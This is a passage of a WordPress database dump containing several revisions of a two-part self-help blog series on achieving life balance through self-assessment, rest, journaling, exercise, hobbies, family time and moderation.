Family\r\n-  Personal Relationships\r\n-  Health\r\n-  Avocation\r\n-  Spiritual</strong>\r\n<h6>Step Two:</h6>\r\nThink deeply about your level of satisfaction in each of these areas of your life, and then place a grade on a scale of 1-10 to the right of each item. Your highest satisfaction is a 10, your lowest is a number 1. (Remember to be uncompromisingly honest with yourself).\r\n<h6>Step Three:</h6>\r\n<img class="alignright size-full wp-image-850" title="satisfaction" src="http://whc.fbdev.org/wp-content/uploads/2010/06/satisfaction1.gif" alt="" width="165" height="319" />Make a visual bar graph of your current level of satisfaction. (See my own example) Your lowest scores indicate what areas in your life need more attention from you.  The highest scores are important too! Take a moment to appreciate yourself for the effort it took for you to achieve that higher score!  You might want to ponder what ultimate score you would like to have in each area of your life and set a goal to check in again six months down the road to see if anything is changing in the right direction. Keep your graph handy as a reference.\r\n\r\n<strong>Now pay closer attention.</strong>\r\n\r\nIf you do this simple exercise 2-3 times a year, you’ll be tuned in to your whole life scene in real time. You‘ll find yourself paying closer attention to your whole life, not just one or two areas. If you focus your energy on balance, you’ll begin to experience greater freedom from stress and anxiety that will rob you blind of the energy required to keep it all together in the first place.\r\n\r\nOf course, life is always dynamic and your focus will change accordingly. It’s unrealistic to think one can achieve a state of “balance” and then have balance be static. Life doesn’t live that way.\r\n<h2><span style="color: #808080;">Living in balance is a daily activity, created by the choices you make in each and every moment.</span></h2>\r\nPeople hard-wired for achievement put tremendous mental focus on their aspirations and goals for business and financial success. However, to achieve success in one area of your life at the expense of any other area is no achievement at all.  Your experience of satisfaction and fulfillment in life is determined by the delicate balancing act of shifting priorities of daily life.  No one area can dominate your attention for long before the whole system begins to weaken.\r\n\r\n<strong>In the post to follow, I‘ll offer some suggestions for bringing all the areas of your life into greater balance so you can increase your experience of confidence, satisfaction and fulfillment.</strong>', 'Spinning Plates on a Stick and other Life Tricks ', 0, '', 'inherit', 'open', 'open', '', '845-revision-10', '', '', '2010-06-07 11:23:36', '2010-06-07 18:23:36', '', 845, 'http://www.whitehotcenter.com/2010/06/07/845-revision-10/', 0, 'revision', '', 0),
(859, 2, '2010-06-08 14:06:24', '2010-06-08 21:06:24', '<img class="alignnone size-full wp-image-860" title="spinning plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates1.gif" alt="" width="434" height="375" />\r\n<h2>Part 2 of a 2-Part Series</h2>\r\n<h2>Hopefully you have taken a moment to think about your level of satisfaction in each of the areas of your life. After studying your score, do you see where attention is needed? Of course you do, we all have areas in our life where we have greater and lesser satisfaction. It is my belief that the experience of satisfaction and fulfillment in life, is the result of an inner sense of living in balance.</h2>\r\nBalance produces a sense of wholeness, completeness, peace and inner calm.  You might think of the method for living a balanced life as something akin to the autopilot that flies an airplane. When the autopilot is engaged, the plane is mostly flying off course. The autopilot senses these small, moment-to-moment course deviations (imbalances) and corrects the flight path. This is a subtle movement, and underneath the awareness of the pilots in the plane.  Living life with a sense of balance is a subtle dance. Over the long journey, you’ll guide yourself much like the finely-tuned autopilot, sensing imbalances as they occur in your daily life and correcting them accordingly in real time.\r\n\r\nHere are a few suggestions that will help you be in the frame of mind that will support the discipline required to become fine-tuned to what’s happening around you so you can keep all your plates spinning with ease.\r\n\r\n<strong>Rest and rejuvenate</strong>\r\nYou can’t be a fine-tuned instrument when you are tired. Good ol R&amp;R is an absolute necessity if you are to find balance in your life.  Many entrepreneurs struggle with the idea that rest is more important than activity.  A mind and body well rested is essential for creativity and innovation.\r\n\r\n<strong>Keep a journal</strong>\r\nI have kept this practice going in my own life for over 20 years. I find the simple act of thinking and writing with my hand to be of profound value in helping me keep my sense of balance and proportion in my life. I could not recommend any technique more enthusiastically!  The thing about a journal I like best is how it brings me present with my own thoughts. I can more easily open up to ideas about the who, what, when and how of my life priorities.  Interestingly enough, I never re-read what I write. For me, being in the stream of consciousness is more important than the subject.\r\n\r\n<strong>Spend time alone</strong>\r\nMany people struggle with being by themselves. Many people are constantly in the company of others– colleagues, family, spouse, friends, even crowds. I can tell you with absolute conviction, you will never get a sense of balance in your life until you learn to enjoy spending time with yourself. There are many ways to enjoy your own company–go for a walk, jog, ride a bike, be out in nature, or just sitting quietly at home.\r\n\r\n<strong>Move your body</strong>\r\nYou can’t neglect your biology. You need a vibrant, flexible, healthy body if you are going to be available to live with satisfaction and fulfillment in all the areas of your life. Like anything you do on a regular basis, make exercise a daily habit. It doesn’t take much exercise to reap big rewards. Any exercise that involves physical balance automatically puts the mind in the same state.\r\n\r\n<strong>Pursue your hobbies</strong>\r\nHaving an interest that is outside the realm of “money-making” is vital to life balance. It doesn’t matter what it is, but you must engage in things regularly that bring you pleasure, joy, fun and amusement.\r\n\r\n<strong>Be with your family</strong>\r\nOur families are often taken for granted because we are always involved with family obligations. There is nothing more rewarding than just simply being with our families. It doesn’t matter what you do, just do something meaningful for all.  Go to your kid’s ball game, music recital, have a pot luck with relatives– at the end of the day it’s what we’re all working hard for right?\r\n\r\n<strong>Serve others</strong>\r\nAnytime you are in service to others, you are creating more balance in your own life. The reason is simple–to serve others, the focus is not on you!\r\n\r\n<strong>Everything in moderation</strong>\r\nModeration is just another word for balance. Do everything in moderation–from eating chocolate to developing your next product! If one thing in your life becomes out of sync with the rest of your life, it won’t be long before you are in a state of dis-ease. Over longer periods of time, dis-ease becomes disease.\r\n\r\n<strong>Indeed, for many entrepreneurs (myself included), passion and persistence for building our business is a top priority.  However, business and financial success alone is not enough for you to enjoy the sense of satisfaction and fulfillment that comes from living a balanced life. </strong>', 'Part II-Spinning Plates on a Stick and other Life Tricks ', 0, '', 'publish', 'open', 'open', '', 'part-ii-spinning-plates-on-a-stick-and-other-life-tricks', '', '', '2010-12-27 16:05:18', '2010-12-27 23:05:18', '', 0, 'http://www.whitehotcenter.com/?p=859', 0, 'post', '', 0),
(860, 2, '2010-06-08 13:46:48', '2010-06-08 20:46:48', '', 'spinning plates', 0, '', 'inherit', 'open', 'open', '', 'plates-2', '', '', '2010-06-08 13:46:48', '2010-06-08 20:46:48', '', 859, 'http://www.whitehotcenter.com/wp-content/uploads/2010/06/plates1.gif', 0, 'attachment', 'image/gif', 0),
(861, 2, '2010-06-08 13:53:13', '2010-06-08 20:53:13', '<img class="alignnone size-full wp-image-860" title="spinning plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates1.gif" alt="" width="514" height="445" />\n<h2>Part 2 of a 2-Part Series</h2>\n<h2>Hopefully you have had a moment to think about your level of satisfaction in each of the areas of your life. After studying your score, do you see where attention is needed? Of course you do, we all have areas in our life where we have greater and lesser satisfaction. It is my belief that the experience of satisfaction and fulfillment in life, is the result of an inner sense of living in balance.</h2>\nBalance produces a sense of wholeness, completeness, peace and inner calm.  You might think of the method for living a balanced life as something akin to the auto-pilot that flies an airplane. When the auto pilot is engaged, the plane is mostly flying off course. The auto-pilot senses these small, moment-to-moment course deviations (imbalances) and corrects the flight path. This is a subtle movement, and underneath the awareness of the pilots in the plane.  Living life with a sense of balance is a subtle dance. Over the long journey, you’ll guide yourself much like the finely-tuned auto-pilot, sensing imbalances as they occur in your daily life and correcting them accordingly in real time.\n\nHere are a few suggestions that will help you be in the frame of mind that will support the discipline required to become fine-tuned to what’s happening around you so you can keep all your plates spinning with ease.\n\n<strong>Rest and rejuvenate</strong>\nYou can’t be a fine-tuned instrument when you are tired. Good ol R&amp;R is an absolute necessity if you are to find balance in your life.  Many entrepreneurs struggle with the idea that rest is more important than activity.  A mind and body well rested is essential for creativity and innovation.\n\n<strong>Keep a journal</strong>\nI have kept this practice going in my own life for over 20 years. I find the simple act of thinking and writing with my hand to be of profound value in helping me keep my sense of balance and proportion in my life. I could not recommend any technique more enthusiastically!  The thing about a journal I like best is how it brings me present with my own thoughts. I can more easily open up to ideas about the who, what, when and how of my life priorities.  Interestingly enough, I never re-read what I write. For me, being in the stream of consciousness is more important than the subject.\n\n<strong>Spend time alone</strong>\nMany people struggle with being by themselves. Many people are constantly in the company of others– colleagues, family, spouse, friends, even crowds. I can tell you with absolute conviction, you will never get a sense of balance in your life until you learn to enjoy spending time with yourself. There are many ways to enjoy your own company–go for a walk, jog, ride a bike, be out in nature, or just sitting quietly at home.\n\n<strong>Move your body</strong>\n\nYou can’t neglect your biology. You need a vibrant, flexible, healthy body if you are going to be available to live with satisfaction and fulfillment in all the areas of your life. Like anything you do on a regular basis, make exercise a daily habit. It doesn’t take much exercise to reap big rewards. Any exercise that involves physical balance automatically puts the mind in the same state.\n\nPursue your hobbies\nHaving an interest that is outside the realm of “money-earning” is vital to life balance. It doesn’t matter what it is, but you must engage in things regularly that bring you pleasure, joy, fun and amusement.\n<h1>Be with your family</h1>\nOur families are often taken for granted because we are always involved with family obligations. There is nothing more rewarding than just simply being with our families. It doesn’t matter what you do, just do something meaningful for all.  Go to your kid’s ball game, music recital, have a pot luck with relatives– at the end of the day it’s what we’re all working hard for right?\n<h1>Everything in moderation</h1>\nModeration is just another word for balance. Do everything in moderation–from eating chocolate to developing your next product! If one thing in your life becomes out of sync with the rest of your life, it won’t be long before you are in a state of dis-ease. Over longer periods of time dis-ease becomes disease.\n\nIndeed, for many entrepreneurs (myself included), passion and persistence for building our business is a priority indeed.  However, business and financial success alone is not enough to enjoy the sense of satisfaction and fulfillment that comes from living a balanced life.', 'Spinning Plates on a Stick and other Life Tricks Part II', 0, '', 'inherit', 'open', 'open', '', '859-revision', '', '', '2010-06-08 13:53:13', '2010-06-08 20:53:13', '', 859, 'http://www.whitehotcenter.com/2010/06/08/859-revision/', 0, 'revision', '', 0),
(862, 2, '2010-06-08 13:54:15', '2010-06-08 20:54:15', '<img class="alignnone size-full wp-image-860" title="spinning plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates1.gif" alt="" width="514" height="445" />\n<h2>Part 2 of a 2-Part Series</h2>\n<h2>Hopefully you have had a moment to think about your level of satisfaction in each of the areas of your life. After studying your score, do you see where attention is needed? Of course you do, we all have areas in our life where we have greater and lesser satisfaction. It is my belief that the experience of satisfaction and fulfillment in life, is the result of an inner sense of living in balance.</h2>\nBalance produces a sense of wholeness, completeness, peace and inner calm.  You might think of the method for living a balanced life as something akin to the auto-pilot that flies an airplane. When the auto pilot is engaged, the plane is mostly flying off course. The auto-pilot senses these small, moment-to-moment course deviations (imbalances) and corrects the flight path. This is a subtle movement, and underneath the awareness of the pilots in the plane.  Living life with a sense of balance is a subtle dance. Over the long journey, you’ll guide yourself much like the finely-tuned auto-pilot, sensing imbalances as they occur in your daily life and correcting them accordingly in real time.\n\nHere are a few suggestions that will help you be in the frame of mind that will support the discipline required to become fine-tuned to what’s happening around you so you can keep all your plates spinning with ease.\n\n<strong>Rest and rejuvenate</strong>\nYou can’t be a fine-tuned instrument when you are tired. Good ol R&amp;R is an absolute necessity if you are to find balance in your life.  Many entrepreneurs struggle with the idea that rest is more important than activity.  A mind and body well rested is essential for creativity and innovation.\n\n<strong>Keep a journal</strong>\nI have kept this practice going in my own life for over 20 years. I find the simple act of thinking and writing with my hand to be of profound value in helping me keep my sense of balance and proportion in my life. I could not recommend any technique more enthusiastically!  The thing about a journal I like best is how it brings me present with my own thoughts. I can more easily open up to ideas about the who, what, when and how of my life priorities.  Interestingly enough, I never re-read what I write. For me, being in the stream of consciousness is more important than the subject.\n\n<strong>Spend time alone</strong>\nMany people struggle with being by themselves. Many people are constantly in the company of others– colleagues, family, spouse, friends, even crowds. I can tell you with absolute conviction, you will never get a sense of balance in your life until you learn to enjoy spending time with yourself. There are many ways to enjoy your own company–go for a walk, jog, ride a bike, be out in nature, or just sitting quietly at home.\n\n<strong>Move your body</strong>\n\nYou can’t neglect your biology. You need a vibrant, flexible, healthy body if you are going to be available to live with satisfaction and fulfillment in all the areas of your life. Like anything you do on a regular basis, make exercise a daily habit. It doesn’t take much exercise to reap big rewards. Any exercise that involves physical balance automatically puts the mind in the same state.\n\n<strong>Pursue your hobbies</strong>\nHaving an interest that is outside the realm of “money-earning” is vital to life balance. It doesn’t matter what it is, but you must engage in things regularly that bring you pleasure, joy, fun and amusement.\n\n<strong>Be with your family</strong>\nOur families are often taken for granted because we are always involved with family obligations. There is nothing more rewarding than just simply being with our families. It doesn’t matter what you do, just do something meaningful for all.  Go to your kid’s ball game, music recital, have a pot luck with relatives– at the end of the day it’s what we’re all working hard for right?\n\n<strong>Everything in moderation</strong>\nModeration is just another word for balance. Do everything in moderation–from eating chocolate to developing your next product! If one thing in your life becomes out of sync with the rest of your life, it won’t be long before you are in a state of dis-ease. Over longer periods of time dis-ease becomes disease.\n\n<strong>Indeed, for many entrepreneurs (myself included), passion and persistence for building our business is a priority indeed.  However, business and financial success alone is not enough to enjoy the sense of satisfaction and fulfillment that comes from living a balanced life.</strong>', 'Spinning Plates on a Stick and other Life Tricks Part II', 0, '', 'inherit', 'open', 'open', '', '859-revision-2', '', '', '2010-06-08 13:54:15', '2010-06-08 20:54:15', '', 859, 'http://www.whitehotcenter.com/2010/06/08/859-revision-2/', 0, 'revision', '', 0),
(863, 2, '2010-06-08 13:54:49', '2010-06-08 20:54:49', '<img class="alignnone size-full wp-image-860" title="spinning plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates1.gif" alt="" width="514" height="445" />\r\n<h2>Part 2 of a 2-Part Series</h2>\r\n<h2>Hopefully you have had a moment to think about your level of satisfaction in each of the areas of your life. After studying your score, do you see where attention is needed? Of course you do, we all have areas in our life where we have greater and lesser satisfaction. It is my belief that the experience of satisfaction and fulfillment in life, is the result of an inner sense of living in balance.</h2>\r\nBalance produces a sense of wholeness, completeness, peace and inner calm.  You might think of the method for living a balanced life as something akin to the auto-pilot that flies an airplane. When the auto pilot is engaged, the plane is mostly flying off course. The auto-pilot senses these small, moment-to-moment course deviations (imbalances) and corrects the flight path. This is a subtle movement, and underneath the awareness of the pilots in the plane.  Living life with a sense of balance is a subtle dance. Over the long journey, you’ll guide yourself much like the finely-tuned auto-pilot, sensing imbalances as they occur in your daily life and correcting them accordingly in real time.\r\n\r\nHere are a few suggestions that will help you be in the frame of mind that will support the discipline required to become fine-tuned to what’s happening around you so you can keep all your plates spinning with ease.\r\n\r\n<strong>Rest and rejuvenate</strong>\r\nYou can’t be a fine-tuned instrument when you are tired. Good ol R&amp;R is an absolute necessity if you are to find balance in your life.  Many entrepreneurs struggle with the idea that rest is more important than activity.  A mind and body well rested is essential for creativity and innovation.\r\n\r\n<strong>Keep a journal</strong>\r\nI have kept this practice going in my own life for over 20 years. I find the simple act of thinking and writing with my hand to be of profound value in helping me keep my sense of balance and proportion in my life. I could not recommend any technique more enthusiastically!  The thing about a journal I like best is how it brings me present with my own thoughts. I can more easily open up to ideas about the who, what, when and how of my life priorities.  Interestingly enough, I never re-read what I write. For me, being in the stream of consciousness is more important than the subject.\r\n\r\n<strong>Spend time alone</strong>\r\nMany people struggle with being by themselves. Many people are constantly in the company of others– colleagues, family, spouse, friends, even crowds. I can tell you with absolute conviction, you will never get a sense of balance in your life until you learn to enjoy spending time with yourself. There are many ways to enjoy your own company–go for a walk, jog, ride a bike, be out in nature, or just sitting quietly at home.\r\n\r\n<strong>Move your body</strong>\r\n\r\nYou can’t neglect your biology. You need a vibrant, flexible, healthy body if you are going to be available to live with satisfaction and fulfillment in all the areas of your life. Like anything you do on a regular basis, make exercise a daily habit. It doesn’t take much exercise to reap big rewards. Any exercise that involves physical balance automatically puts the mind in the same state.\r\n\r\n<strong>Pursue your hobbies</strong>\r\nHaving an interest that is outside the realm of “money-earning” is vital to life balance. It doesn’t matter what it is, but you must engage in things regularly that bring you pleasure, joy, fun and amusement.\r\n\r\n<strong>Be with your family</strong>\r\nOur families are often taken for granted because we are always involved with family obligations. There is nothing more rewarding than just simply being with our families. It doesn’t matter what you do, just do something meaningful for all.  Go to your kid’s ball game, music recital, have a pot luck with relatives– at the end of the day it’s what we’re all working hard for right?\r\n\r\n<strong>Everything in moderation</strong>\r\nModeration is just another word for balance. Do everything in moderation–from eating chocolate to developing your next product! If one thing in your life becomes out of sync with the rest of your life, it won’t be long before you are in a state of dis-ease. Over longer periods of time dis-ease becomes disease.\r\n\r\n<strong>Indeed, for many entrepreneurs (myself included), passion and persistence for building our business is a priority indeed.  However, business and financial success alone is not enough to enjoy the sense of satisfaction and fulfillment that comes from living a balanced life.</strong>', 'Part II-Spinning Plates on a Stick and other Life Tricks ', 0, '', 'inherit', 'open', 'open', '', '859-revision-3', '', '', '2010-06-08 13:54:49', '2010-06-08 20:54:49', '', 859, 'http://www.whitehotcenter.com/2010/06/08/859-revision-3/', 0, 'revision', '', 0),
(864, 2, '2010-06-08 13:56:19', '2010-06-08 20:56:19', '<img class="alignnone size-full wp-image-860" title="spinning plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates1.gif" alt="" width="482" height="417" />\r\n<h2>Part 2 of a 2-Part Series</h2>\r\n<h2>Hopefully you have had a moment to think about your level of satisfaction in each of the areas of your life. After studying your score, do you see where attention is needed? Of course you do, we all have areas in our life where we have greater and lesser satisfaction. It is my belief that the experience of satisfaction and fulfillment in life, is the result of an inner sense of living in balance.</h2>\r\nBalance produces a sense of wholeness, completeness, peace and inner calm.  You might think of the method for living a balanced life as something akin to the auto-pilot that flies an airplane. When the auto pilot is engaged, the plane is mostly flying off course. The auto-pilot senses these small, moment-to-moment course deviations (imbalances) and corrects the flight path. This is a subtle movement, and underneath the awareness of the pilots in the plane.  Living life with a sense of balance is a subtle dance. Over the long journey, you’ll guide yourself much like the finely-tuned auto-pilot, sensing imbalances as they occur in your daily life and correcting them accordingly in real time.\r\n\r\nHere are a few suggestions that will help you be in the frame of mind that will support the discipline required to become fine-tuned to what’s happening around you so you can keep all your plates spinning with ease.\r\n\r\n<strong>Rest and rejuvenate</strong>\r\nYou can’t be a fine-tuned instrument when you are tired. Good ol R&amp;R is an absolute necessity if you are to find balance in your life.  Many entrepreneurs struggle with the idea that rest is more important than activity.  A mind and body well rested is essential for creativity and innovation.\r\n\r\n<strong>Keep a journal</strong>\r\nI have kept this practice going in my own life for over 20 years. I find the simple act of thinking and writing with my hand to be of profound value in helping me keep my sense of balance and proportion in my life. I could not recommend any technique more enthusiastically!  The thing about a journal I like best is how it brings me present with my own thoughts. I can more easily open up to ideas about the who, what, when and how of my life priorities.  Interestingly enough, I never re-read what I write. For me, being in the stream of consciousness is more important than the subject.\r\n\r\n<strong>Spend time alone</strong>\r\nMany people struggle with being by themselves. Many people are constantly in the company of others– colleagues, family, spouse, friends, even crowds. I can tell you with absolute conviction, you will never get a sense of balance in your life until you learn to enjoy spending time with yourself. There are many ways to enjoy your own company–go for a walk, jog, ride a bike, be out in nature, or just sitting quietly at home.\r\n\r\n<strong>Move your body</strong>\r\nYou can’t neglect your biology. You need a vibrant, flexible, healthy body if you are going to be available to live with satisfaction and fulfillment in all the areas of your life. Like anything you do on a regular basis, make exercise a daily habit. It doesn’t take much exercise to reap big rewards. Any exercise that involves physical balance automatically puts the mind in the same state.\r\n\r\n<strong>Pursue your hobbies</strong>\r\nHaving an interest that is outside the realm of “money-earning” is vital to life balance. It doesn’t matter what it is, but you must engage in things regularly that bring you pleasure, joy, fun and amusement.\r\n\r\n<strong>Be with your family</strong>\r\nOur families are often taken for granted because we are always involved with family obligations. There is nothing more rewarding than just simply being with our families. It doesn’t matter what you do, just do something meaningful for all.  Go to your kid’s ball game, music recital, have a pot luck with relatives– at the end of the day it’s what we’re all working hard for right?\r\n\r\n<strong>Everything in moderation</strong>\r\nModeration is just another word for balance. Do everything in moderation–from eating chocolate to developing your next product! If one thing in your life becomes out of sync with the rest of your life, it won’t be long before you are in a state of dis-ease. Over longer periods of time, dis-ease becomes disease.\r\n\r\n<strong>Indeed, for many entrepreneurs (myself included), passion and persistence for building our business is a priority indeed.  However, business and financial success alone is not enough to enjoy the sense of satisfaction and fulfillment that comes from living a balanced life.</strong>', 'Part II-Spinning Plates on a Stick and other Life Tricks ', 0, '', 'inherit', 'open', 'open', '', '859-revision-4', '', '', '2010-06-08 13:56:19', '2010-06-08 20:56:19', '', 859, 'http://www.whitehotcenter.com/2010/06/08/859-revision-4/', 0, 'revision', '', 0),
(865, 2, '2010-06-08 14:02:30', '2010-06-08 21:02:30', '<img class="alignnone size-full wp-image-860" title="spinning plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates1.gif" alt="" width="482" height="417" />\r\n<h2>Part 2 of a 2-Part Series</h2>\r\n<h2>Hopefully you have had a moment to think about your level of satisfaction in each of the areas of your life. After studying your score, do you see where attention is needed? Of course you do, we all have areas in our life where we have greater and lesser satisfaction. It is my belief that the experience of satisfaction and fulfillment in life, is the result of an inner sense of living in balance.</h2>\r\nBalance produces a sense of wholeness, completeness, peace and inner calm.  You might think of the method for living a balanced life as something akin to the auto-pilot that flies an airplane. When the auto pilot is engaged, the plane is mostly flying off course. The auto-pilot senses these small, moment-to-moment course deviations (imbalances) and corrects the flight path. This is a subtle movement, and underneath the awareness of the pilots in the plane.  Living life with a sense of balance is a subtle dance. Over the long journey, you’ll guide yourself much like the finely-tuned auto-pilot, sensing imbalances as they occur in your daily life and correcting them accordingly in real time.\r\n\r\nHere are a few suggestions that will help you be in the frame of mind that will support the discipline required to become fine-tuned to what’s happening around you so you can keep all your plates spinning with ease.\r\n\r\n<strong>Rest and rejuvenate</strong>\r\nYou can’t be a fine-tuned instrument when you are tired. Good ol R&amp;R is an absolute necessity if you are to find balance in your life.  Many entrepreneurs struggle with the idea that rest is more important than activity.  A mind and body well rested is essential for creativity and innovation.\r\n\r\n<strong>Keep a journal</strong>\r\nI have kept this practice going in my own life for over 20 years. I find the simple act of thinking and writing with my hand to be of profound value in helping me keep my sense of balance and proportion in my life. I could not recommend any technique more enthusiastically!  The thing about a journal I like best is how it brings me present with my own thoughts. I can more easily open up to ideas about the who, what, when and how of my life priorities.  Interestingly enough, I never re-read what I write. For me, being in the stream of consciousness is more important than the subject.\r\n\r\n<strong>Spend time alone</strong>\r\nMany people struggle with being by themselves. Many people are constantly in the company of others– colleagues, family, spouse, friends, even crowds. I can tell you with absolute conviction, you will never get a sense of balance in your life until you learn to enjoy spending time with yourself. There are many ways to enjoy your own company–go for a walk, jog, ride a bike, be out in nature, or just sitting quietly at home.\r\n\r\n<strong>Move your body</strong>\r\nYou can’t neglect your biology. You need a vibrant, flexible, healthy body if you are going to be available to live with satisfaction and fulfillment in all the areas of your life. Like anything you do on a regular basis, make exercise a daily habit. It doesn’t take much exercise to reap big rewards. Any exercise that involves physical balance automatically puts the mind in the same state.\r\n\r\n<strong>Pursue your hobbies</strong>\r\nHaving an interest that is outside the realm of “money-making” is vital to life balance. It doesn’t matter what it is, but you must engage in things regularly that bring you pleasure, joy, fun and amusement.\r\n\r\n<strong>Be with your family</strong>\r\nOur families are often taken for granted because we are always involved with family obligations. There is nothing more rewarding than just simply being with our families. It doesn’t matter what you do, just do something meaningful for all.  Go to your kid’s ball game, music recital, have a pot luck with relatives– at the end of the day it’s what we’re all working hard for right?\r\n\r\n<strong>Serve others</strong>\r\nAnytime you are in service to others, you are creating more balance in your own life. The reason is simple–to serve others, the focus is not on you!\r\n\r\n<strong>Everything in moderation</strong>\r\nModeration is just another word for balance. Do everything in moderation–from eating chocolate to developing your next product! If one thing in your life becomes out of sync with the rest of your life, it won’t be long before you are in a state of dis-ease. Over longer periods of time, dis-ease becomes disease.\r\n\r\n<strong>Indeed, for many entrepreneurs (myself included), passion and persistence for building our business is a top priority.  However, business and financial success alone is not enough for you to enjoy the sense of satisfaction and fulfillment that comes from living a balanced life. </strong>', 'Part II-Spinning Plates on a Stick and other Life Tricks ', 0, '', 'inherit', 'open', 'open', '', '859-revision-5', '', '', '2010-06-08 14:02:30', '2010-06-08 21:02:30', '', 859, 'http://www.whitehotcenter.com/2010/06/08/859-revision-5/', 0, 'revision', '', 0),
(866, 2, '2010-12-27 16:05:28', '2010-12-27 23:05:28', '<img class="alignnone size-full wp-image-860" title="spinning plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates1.gif" alt="" width="434" height="375" />\r\n<h2>Part 2 of a 2-Part Series</h2>\r\n<h2>Hopefully you have taken a moment to think about your level of satisfaction in each of the areas of your life. After studying your score, do you see where attention is needed? Of course you do, we all have areas in our life where we have greater and lesser satisfaction. It is my belief that the experience of satisfaction and fulfillment in life, is the result of an inner sense of living in balance.</h2>\r\nBalance produces a sense of wholeness, completeness, peace and inner calm.  You might think of the method for living a balanced life as something akin to the autopilot that flies an airplane. When the autopilot is engaged, the plane is mostly flying off course. The autopilot senses these small, moment-to-moment course deviations (imbalances) and corrects the flight path. This is a subtle movement, and underneath the awareness of the pilots in the plane.  Living life with a sense of balance is a subtle dance. Over the long journey, you’ll guide yourself much like the finely-tuned autopilot, sensing imbalances as they occur in your daily life and correcting them accordingly in real time.\r\n\r\nHere are a few suggestions that will help you be in the frame of mind that will support the discipline required to become fine-tuned to what’s happening around you so you can keep all your plates spinning with ease.\r\n\r\n<strong>Rest and rejuvenate</strong>\r\nYou can’t be a fine-tuned instrument when you are tired. Good ol R&amp;R is an absolute necessity if you are to find balance in your life.  Many entrepreneurs struggle with the idea that rest is more important than activity.  A mind and body well rested is essential for creativity and innovation.\r\n\r\n<strong>Keep a journal</strong>\r\nI have kept this practice going in my own life for over 20 years. I find the simple act of thinking and writing with my hand to be of profound value in helping me keep my sense of balance and proportion in my life. I could not recommend any technique more enthusiastically!  The thing about a journal I like best is how it brings me present with my own thoughts. I can more easily open up to ideas about the who, what, when and how of my life priorities.  Interestingly enough, I never re-read what I write. For me, being in the stream of consciousness is more important than the subject.\r\n\r\n<strong>Spend time alone</strong>\r\nMany people struggle with being by themselves. Many people are constantly in the company of others– colleagues, family, spouse, friends, even crowds. I can tell you with absolute conviction, you will never get a sense of balance in your life until you learn to enjoy spending time with yourself. There are many ways to enjoy your own company–go for a walk, jog, ride a bike, be out in nature, or just sitting quietly at home.\r\n\r\n<strong>Move your body</strong>\r\nYou can’t neglect your biology. You need a vibrant, flexible, healthy body if you are going to be available to live with satisfaction and fulfillment in all the areas of your life. Like anything you do on a regular basis, make exercise a daily habit. It doesn’t take much exercise to reap big rewards. Any exercise that involves physical balance automatically puts the mind in the same state.\r\n\r\n<strong>Pursue your hobbies</strong>\r\nHaving an interest that is outside the realm of “money-making” is vital to life balance. It doesn’t matter what it is, but you must engage in things regularly that bring you pleasure, joy, fun and amusement.\r\n\r\n<strong>Be with your family</strong>\r\nOur families are often taken for granted because we are always involved with family obligations. There is nothing more rewarding than just simply being with our families. It doesn’t matter what you do, just do something meaningful for all.  Go to your kid’s ball game, music recital, have a pot luck with relatives– at the end of the day it’s what we’re all working hard for right?\r\n\r\n<strong>Serve others</strong>\r\nAnytime you are in service to others, you are creating more balance in your own life. The reason is simple–to serve others, the focus is not on you!\r\n\r\n<strong>Everything in moderation</strong>\r\nModeration is just another word for balance. Do everything in moderation–from eating chocolate to developing your next product! If one thing in your life becomes out of sync with the rest of your life, it won’t be long before you are in a state of dis-ease. Over longer periods of time, dis-ease becomes disease.\r\n\r\n<strong>Indeed, for many entrepreneurs (myself included), passion and persistence for building our business is a top priority.  However, business and financial success alone is not enough for you to enjoy the sense of satisfaction and fulfillment that comes from living a balanced life. </strong>', 'Part II-Spinning Plates on a Stick and other Life Tricks ', 0, '', 'inherit', 'open', 'open', '', '859-autosave', '', '', '2010-12-27 16:05:28', '2010-12-27 23:05:28', '', 859, 'http://www.whitehotcenter.com/2010/06/08/859-autosave/', 0, 'revision', '', 0);
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(867, 2, '2010-06-08 14:06:24', '2010-06-08 21:06:24', '<img class="alignnone size-full wp-image-860" title="spinning plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates1.gif" alt="" width="482" height="417" />\r\n<h2>Part 2 of a 2-Part Series</h2>\r\n<h2>Hopefully you have had a moment to think about your level of satisfaction in each of the areas of your life. After studying your score, do you see where attention is needed? Of course you do, we all have areas in our life where we have greater and lesser satisfaction. It is my belief that the experience of satisfaction and fulfillment in life, is the result of an inner sense of living in balance.</h2>\r\nBalance produces a sense of wholeness, completeness, peace and inner calm.  You might think of the method for living a balanced life as something akin to the auto-pilot that flies an airplane. When the auto pilot is engaged, the plane is mostly flying off course. The auto-pilot senses these small, moment-to-moment course deviations (imbalances) and corrects the flight path. This is a subtle movement, and underneath the awareness of the pilots in the plane.  Living life with a sense of balance is a subtle dance. Over the long journey, you’ll guide yourself much like the finely-tuned auto-pilot, sensing imbalances as they occur in your daily life and correcting them accordingly in real time.\r\n\r\nHere are a few suggestions that will help you be in the frame of mind that will support the discipline required to become fine-tuned to what’s happening around you so you can keep all your plates spinning with ease.\r\n\r\n<strong>Rest and rejuvenate</strong>\r\nYou can’t be a fine-tuned instrument when you are tired. Good ol R&amp;R is an absolute necessity if you are to find balance in your life.  Many entrepreneurs struggle with the idea that rest is more important than activity.  A mind and body well rested is essential for creativity and innovation.\r\n\r\n<strong>Keep a journal</strong>\r\nI have kept this practice going in my own life for over 20 years. I find the simple act of thinking and writing with my hand to be of profound value in helping me keep my sense of balance and proportion in my life. I could not recommend any technique more enthusiastically!  The thing about a journal I like best is how it brings me present with my own thoughts. I can more easily open up to ideas about the who, what, when and how of my life priorities.  Interestingly enough, I never re-read what I write. For me, being in the stream of consciousness is more important than the subject.\r\n\r\n<strong>Spend time alone</strong>\r\nMany people struggle with being by themselves. Many people are constantly in the company of others– colleagues, family, spouse, friends, even crowds. I can tell you with absolute conviction, you will never get a sense of balance in your life until you learn to enjoy spending time with yourself. There are many ways to enjoy your own company–go for a walk, jog, ride a bike, be out in nature, or just sitting quietly at home.\r\n\r\n<strong>Move your body</strong>\r\nYou can’t neglect your biology. You need a vibrant, flexible, healthy body if you are going to be available to live with satisfaction and fulfillment in all the areas of your life. Like anything you do on a regular basis, make exercise a daily habit. It doesn’t take much exercise to reap big rewards. 